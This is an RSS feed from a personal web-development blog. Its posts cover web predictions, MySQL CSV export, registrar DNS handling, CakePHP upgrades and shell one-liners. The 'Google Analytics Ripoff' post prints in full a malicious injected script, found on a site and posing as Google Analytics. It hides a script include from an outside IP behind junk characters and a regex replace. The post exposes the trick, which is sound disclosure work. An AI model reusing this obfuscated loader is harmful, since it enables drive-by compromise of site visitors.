<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alan Blaine Whitney &#187; Tech Stuff</title>
	<atom:link href="http://www.alanblainewhitney.com/category/tech-stuff/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.alanblainewhitney.com</link>
	<description>Web Development</description>
	<lastBuildDate>Thu, 06 May 2010 18:06:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Decade</title>
		<link>http://www.alanblainewhitney.com/2010/05/06/decade/</link>
		<comments>http://www.alanblainewhitney.com/2010/05/06/decade/#comments</comments>
		<pubDate>Thu, 06 May 2010 18:06:25 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=157</guid>
		<description><![CDATA[So I have been at the web thing for a decade now.  That&#8217;s a long time, over a third of my life.  More than likely, the next decade will include me working on web related technology. So I wanted to make some predictions about the future of the web.
SEO will be less important
SEO really started [...]]]></description>
			<content:encoded><![CDATA[<p>So I have been at the web thing for a decade now.  That&#8217;s a long time, over a third of my life.  More than likely, the next decade will include me working on web related technology. So I wanted to make some predictions about the future of the web.</p>
<p><strong>SEO will be less important</strong></p>
<p>SEO really started to get some commercial traction around 2002.  At first it was not a front and center thing, by 2005 everybody who was anybody was doing it.  The SEO industry was starting to get over the top, link baiting, keyword densities so high, they were unreadable, showing google a different version of the webpage than normal folk, etc.</p>
<p>So much of mainstream web development is doing keyworded URL&#8217;s, XML sitemap and rich keywords in title/meta/content.  So many good tools are available to everybody, including google webmaster tools and the like.  I just don&#8217;t see SEO existing as an extra anymore, but just a simple standard.</p>
<p><strong>Location based web is going to be huge</strong></p>
<p>Over the next decade as devices that are location aware are more mainstream, more web items will become aware of it.  At this point, I can&#8217;t envision all of the possibilities of this, but apps like foursquare could be the next big thing.</p>
<p><strong>Network Recommendations</strong></p>
<p>Instead of searching for what you need, say a plumber, I think recommendation engines based on social media input may replace traditional search.</p>
<p>Also, as SEO disappears, I think will will Social Media Optimization grow.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/05/06/decade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL CSV Export</title>
		<link>http://www.alanblainewhitney.com/2010/01/15/sql-csv-export/</link>
		<comments>http://www.alanblainewhitney.com/2010/01/15/sql-csv-export/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 14:35:06 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[getting it done]]></category>
		<category><![CDATA[csv]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=129</guid>
		<description><![CDATA[Nothing new here, but had forgot how easy it is to export to csv in mysql

SELECT * INTO OUTFILE 'result.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '&#34;' LINES TERMINATED BY '\n' FROM my_table;

Note that this file will be created on the mysql server, not the client.
]]></description>
			<content:encoded><![CDATA[<p>Nothing new here, but had forgot how easy it is to export to csv in mysql</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">INTO</span> <span style="color: #993333; font-weight: bold;">OUTFILE</span> <span style="color: #ff0000;">'result.csv'</span> <span style="color: #993333; font-weight: bold;">FIELDS</span> TERMINATED <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">','</span> <span style="color: #993333; font-weight: bold;">OPTIONALLY</span> <span style="color: #993333; font-weight: bold;">ENCLOSED</span> <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">'&quot;'</span> <span style="color: #993333; font-weight: bold;">LINES</span> TERMINATED <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> <span style="color: #993333; font-weight: bold;">FROM</span> my_table;</pre></div></div>

<p>Note that this file will be created on the mysql server, not the client.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/01/15/sql-csv-export/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Register.com</title>
		<link>http://www.alanblainewhitney.com/2010/01/05/register-com/</link>
		<comments>http://www.alanblainewhitney.com/2010/01/05/register-com/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 13:34:20 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=127</guid>
		<description><![CDATA[I let a domain expire by accident.  I thought it had some type of auto-renew on it, which it did not, so it expired.  I really wish they would have sent me a notice a few days before giving me a heads up, but that&#8217;s even okay.  My bad for not making sure [...]]]></description>
			<content:encoded><![CDATA[<p>I let a domain expire by accident.  I thought it had some type of auto-renew on it, which it did not, so it expired.  I really wish they would have sent me a notice a few days before giving me a heads up, but that&#8217;s even okay.  My bad for not making sure that it would auto-renew and charge my credit card.</p>
<p>Here is why register.com did that really surprised me.  Once my domain expired, they listed the name servers as ns2.expireddomains.register.com and ns1.expireddomains.register.com.  These name servers will serve everything as 74.54.82.222, even www.google.com, with a one hour time to live.  This is problematic for several reasons.  One is that it can give the impression that something is resolving when it is not.  Another is that records that once did not exist, now do.</p>
<p>The thing that really frustrated me though, was mail.  The listed name servers will give everything a MX record of grey-area.mailhostingserver.com.  This is a real mail server that accepts all mail.  So somebody can email you, and instead of getting a bounce, the email just disappears into the ether.  More than that they give it a 2 day time to live.  So even after you do renew the domain, your email is screwed up for two days.</p>
<p>I would imagine that at least one-third of expired domains are accidents and they get renewed.  So register.com in their wisdom, hose your email for two days for making a mistake.  More than that, I have given register.com $35 for 7 years on that domain, and use them for nothing other than pointing the dns to another&#8217;s name servers.</p>
<p>So I have left register.com and switched to another company.  Thanks register.com for nothing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/01/05/register-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Really Bad Code</title>
		<link>http://www.alanblainewhitney.com/2009/12/28/really-bad-code/</link>
		<comments>http://www.alanblainewhitney.com/2009/12/28/really-bad-code/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 15:37:04 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=125</guid>
		<description><![CDATA[I just fixing up a reported bug of a really old application.  In trying to fix the code I ran across this piece of code.

return &#40; floor&#40;&#40;  146097 * $century&#41;    /  4 &#41; +
                floor&#40;&#40; [...]]]></description>
			<content:encoded><![CDATA[<p>I just fixing up a reported bug of a really old application.  In trying to fix the code I ran across this piece of code.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>  <span style="color: #cc66cc;">146097</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$century</span><span style="color: #009900;">&#41;</span>    <span style="color: #339933;">/</span>  <span style="color: #cc66cc;">4</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span>
                <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span> <span style="color: #cc66cc;">1461</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$year</span><span style="color: #009900;">&#41;</span>        <span style="color: #339933;">/</span>  <span style="color: #cc66cc;">4</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span>
                <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span> <span style="color: #cc66cc;">153</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$month</span> <span style="color: #339933;">+</span>  <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span>  <span style="color: #cc66cc;">5</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span>
        		<span style="color: #000088;">$day</span> <span style="color: #339933;">+</span>  <span style="color: #cc66cc;">1721119</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/12/28/really-bad-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zip Codes</title>
		<link>http://www.alanblainewhitney.com/2009/06/29/zip-codes/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/29/zip-codes/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 17:44:21 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[zip codes]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=121</guid>
		<description><![CDATA[I nearly never have been able to find a good zip code database, just simple SQL with zips, towns latitude and longitude.  The closest I have found is boutell&#8217;s Free Zip Code stuff.  Which is still not right, it&#8217;s in CSV format, which is easy enough to change, but I want SQL.  So I [...]]]></description>
			<content:encoded><![CDATA[<p>I nearly never have been able to find a good zip code database, just simple SQL with zips, towns latitude and longitude.  The closest I have found is boutell&#8217;s <a href="http://www.boutell.com/zipcodes/">Free Zip Code</a> stuff.  Which is still not right, it&#8217;s in CSV format, which is easy enough to change, but I want SQL.  So I made it into SQL.</p>
<p>Download <strong><a href="http://www.alanblainewhitney.com/wp-content/uploads/2009/06/zipcode.sql.gz">Zip Codes in SQL</a></strong></p>
<p>It nearly goes without saying, but I accept no responsibility for the quality or accuracy of the database or any implications from using it.</p>
<p>Published under the <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons Attribution-ShareAlike</a> license.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/29/zip-codes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Analytics Ripoff.</title>
		<link>http://www.alanblainewhitney.com/2009/06/18/google-analytics-ripoff/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/18/google-analytics-ripoff/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 13:15:04 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=116</guid>
		<description><![CDATA[I have found something very funny on a site this morning.  Here is a bit of javascript.

1
2
3
4
5
&#60;script type=&#34;text/javascript&#34;&#62;
var gaJsHost = &#40;&#40;&#34;https:&#34; == document.location.protocol&#41; ? &#34;https://ssl.&#34; : &#34;http://www.&#34;&#41;;document.write&#40;unescape&#40;&#34;%3Cscript srñ='&#34; + gaJsHost + &#34;google-analytics.com/ga.js' &#34; + '!@&#38;s(#r)c@!=&#38;)\'&#38;h$!t^&#38;!$@t@&#38;$p#^&#38;@:$^/&#38;@!&#38;/!9(1)@.(2)1!(2)&#38;.^#6&#38;@&#38;!^5(@!&#38;.&#38;#$1@!4)8!#/($g#$a&#38;.(j^s)'.replace&#40;/#&#124;&#38;&#124;@&#124;\$&#124;\(&#124;\!&#124;\^&#124;\)/ig, ''&#41; + &#34;' type='text/javascript'%3E%3C/script%3E&#34;&#41;&#41;;
&#60;/script&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
try &#123;var pageTracker = _gat._getTracker&#40;&#34;UA-32645524-1&#34;&#41;;pageTracker._trackPageview&#40;&#41;;&#125; catch&#40;err&#41;; &#123;&#125;&#60;/script&#62;

Which translates into including http://91.212.65.148/ga.js
Which includes an iframe.  Not [...]]]></description>
			<content:encoded><![CDATA[<p>I have found something very funny on a site this morning.  Here is a bit of javascript.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">var</span> gaJsHost <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;https:&quot;</span> <span style="color: #339933;">==</span> document.<span style="color: #660066;">location</span>.<span style="color: #660066;">protocol</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #3366CC;">&quot;https://ssl.&quot;</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;http://www.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;%3Cscript srñ='&quot;</span> <span style="color: #339933;">+</span> gaJsHost <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;google-analytics.com/ga.js' &quot;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'!@&amp;s(#r)c@!=&amp;)<span style="color: #000099; font-weight: bold;">\'</span>&amp;h$!t^&amp;!$@t@&amp;$p#^&amp;@:$^/&amp;@!&amp;/!9(1)@.(2)1!(2)&amp;.^#6&amp;@&amp;!^5(@!&amp;.&amp;#$1@!4)8!#/($g#$a&amp;.(j^s)'</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/#|&amp;|@|\$|\(|\!|\^|\)/ig</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;' type='text/javascript'%3E%3C/script%3E&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #000066; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span><span style="color: #003366; font-weight: bold;">var</span> pageTracker <span style="color: #339933;">=</span> _gat._getTracker<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;UA-32645524-1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>pageTracker._trackPageview<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>err<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>Which translates into including http://91.212.65.148/ga.js</p>
<p>Which includes an iframe.  Not sure yet, but this may be the nine ball thing.  This iframe is to: http://91.212.65.148//image/index.php</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/18/google-analytics-ripoff/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Recursive Find and Replace</title>
		<link>http://www.alanblainewhitney.com/2009/06/11/recursive-find-and-replace-2/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/11/recursive-find-and-replace-2/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 18:34:29 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[getting it done]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=113</guid>
		<description><![CDATA[This works on most linux boxes.
find /path/to/start/from/ -type f &#124; xargs perl -pi -e &#8217;s/applicationX/applicationY/g&#8217;
]]></description>
			<content:encoded><![CDATA[<p>This works on most linux boxes.</p>
<p><span id="intelliTxt">find /path/to/start/from/ -type f | xargs perl -pi -e &#8217;s/applicationX/applicationY/g&#8217;</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/11/recursive-find-and-replace-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debian reset timezone</title>
		<link>http://www.alanblainewhitney.com/2009/06/11/debian-reset-timezone/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/11/debian-reset-timezone/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 14:17:17 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[debian]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=111</guid>
		<description><![CDATA[dpkg-reconfigure tzdata
Command that resets the timezone accross the board on debian/ubuntu
]]></description>
			<content:encoded><![CDATA[<p>dpkg-reconfigure tzdata</p>
<p>Command that resets the timezone accross the board on debian/ubuntu</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/11/debian-reset-timezone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debian &amp; svn</title>
		<link>http://www.alanblainewhitney.com/2009/06/10/debian-svn/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/10/debian-svn/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 20:19:05 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[getting it done]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[subversion]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=109</guid>
		<description><![CDATA[For those of you who just updated your Debian Lenny install and and had your subversion stop working, this is for you.  If you are getting this error:
svn: OPTIONS of 'http://dust.sephone.com/projects/mslha': could not connect to server (http://dust.sephone.com)
You need to put
http-library=serf
On the last line of ~/.subversion/servers
]]></description>
			<content:encoded><![CDATA[<p>For those of you who just updated your Debian Lenny install and and had your subversion stop working, this is for you.  If you are getting this error:</p>
<p><code>svn: OPTIONS of 'http://dust.sephone.com/projects/mslha': could not connect to server (http://dust.sephone.com)</code></p>
<p>You need to put</p>
<p><code>http-library=serf</code></p>
<p>On the last line of ~/.subversion/servers</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/10/debian-svn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cake 1.2RC3 to Final</title>
		<link>http://www.alanblainewhitney.com/2008/12/30/cake-12rc3-to-final/</link>
		<comments>http://www.alanblainewhitney.com/2008/12/30/cake-12rc3-to-final/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 15:49:16 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[getting it done]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=85</guid>
		<description><![CDATA[Recently the cake 1.2 has been released.  On several of my applications I have upgrading all along the 1.2 release cycle.  Here are my tweaks that I needed to do from RC3 to 1.2 Final.
To start the upgrade, I simply swapped out my cake directory for the new one.  Dropped the tmp dir with this [...]]]></description>
			<content:encoded><![CDATA[<p>Recently the <a href="http://debuggable.com/posts/extra-hot-cakephp-1.2-stable-is-finally-released!:4954151c-f87c-434b-abbd-4e404834cda3">cake 1.2 has been released</a>.  On several of my applications I have upgrading all along the 1.2 release cycle.  Here are my tweaks that I needed to do from RC3 to 1.2 Final.</p>
<p>To start the upgrade, I simply swapped out my cake directory for the new one.  Dropped the tmp dir with this command.</p>
<blockquote><p>find app/tmp/ -name &#8216;cake*&#8217; | xargs rm</p></blockquote>
<p>For the most part it worked right off the back.  The only problem I had was to switch some things in my &#8220;app/app_controller.php&#8221;.  In RC3, if it was an ajax request, it automatically switched to an ajax layout.  It stopped doing that in RC4 and final.  So I when to put functionality back in.</p>
<p>To start I added the request handler component and use beforeFilter().</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$components</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'RequestHandler'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> beforeFilter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">RequestHandler</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">isAjax</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">layout</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'ajax'</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span></pre></div></div>

<p>I actually had several things happening in my &#8216;app/app_controller.php&#8217; already, here is my actual file.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$components</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Auth'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'Email'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'RequestHandler'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> beforeFilter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Auth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fields</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'username'</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">'username'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'password'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Auth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">loginAction</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'admin'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'controller'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'users'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'action'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Auth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allow</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'*'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'navPoint'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'home'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">params</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'admin'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">layout</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'admin'</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Auth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">deny</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'*'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">// Lets set the sort order</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Session</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">check</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'sort'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Session</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">write</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'sort'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'Application.date_created DESC'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">RequestHandler</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">isAjax</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">layout</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'ajax'</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2008/12/30/cake-12rc3-to-final/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
